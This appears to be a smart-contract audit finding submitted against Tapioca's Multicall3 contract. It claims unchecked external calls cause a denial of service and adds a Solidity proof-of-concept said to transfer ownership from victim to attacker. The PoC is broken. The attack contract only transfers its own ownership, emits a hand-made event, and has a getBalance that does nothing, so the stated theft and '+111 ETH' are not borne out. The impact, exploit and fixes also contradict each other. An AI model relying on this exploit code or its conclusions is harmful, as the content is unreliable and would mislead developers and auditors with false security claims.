Lines of code

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Multicall/Multicall3.sol#L51 https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Multicall/Multicall3.sol#L79

Vulnerability details

Impact

Detailed description of the impact of this finding. File

/MultiCall/multicall3.sol

URL

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Multicall/Multicall3.sol#L51
https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Multicall/Multicall3.sol#L79

Vulnerable lines of code

// line 51
            (result.success, result.returnData) = calli.target.call(
// line 79
            (result.success, result.returnData) = calli.target.call{value: val}(

External calls can fail accidentally or deliberately, which can cause a DoS condition in the contract.

External calls can fail accidentally or deliberately, which can cause a DoS condition in the contract. 
To minimize the damage caused by such failures, it is better to isolate each external call into its own transaction that can be initiated by the recipient of the call. 
This is especially relevant for payments, where it is better to let users withdraw funds rather than push funds to them automatically (this also reduces the chance of problems with the gas limit).

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Exploit to change the owner from victim to attacker

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.0<0.9.0;

import "/2023-07-tapioca/tap-token-audit/node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "/2023-07-tapioca/tapioca-periph-audit/contracts/Multicall/Multicall3.sol";

contract AttackMulticall3 is Multicall3 {

    Multicall3 public multicall3; 

    function attack(Multicall3 _multicall3) public payable {

        multicall3 = Multicall3(_multicall3);

        transferOwnership(address(multicall3));

        emit OwnershipTransferred(address(multicall3), address(msg.sender));

        owner();

    }

    function getBalance() public payable {
        address(this).balance;
    }
}

Transfer Owner Test Case

NB: Using Remix Dev Foundry Deployment
1. switch to first account (as alice) and deploy the victim contract.
2. switch to second account (as eve) and deploy the attack contract. 
3. switch to second account (as eve) and select 111 ETH and paste victim contract address for alice in input box next to button for attack() and then click attack() button.
5. in account 2 for eve, click getbalance button and balance is +111 ETH.
6. Also, the log file shows that eve, the attacker is now the owner of the contract.

Tools Used

Mythx
Visual Studio Code
Foundry
Remix IDE

Recommended Mitigation Steps

Restrict the transfer ownership function to only owners.
Avoid combining multiple calls in a single transaction, such as the functions called multicall and multicallValue.
Always assume that external calls can fail
Implement the contract logic to handle failed calls to multicall and multicallValue.

Assessed type

DoS

code-423n4 / 2023-07-tapioca-findings

[M-01] Dos External call can be made from this contract due to vulnerable code #298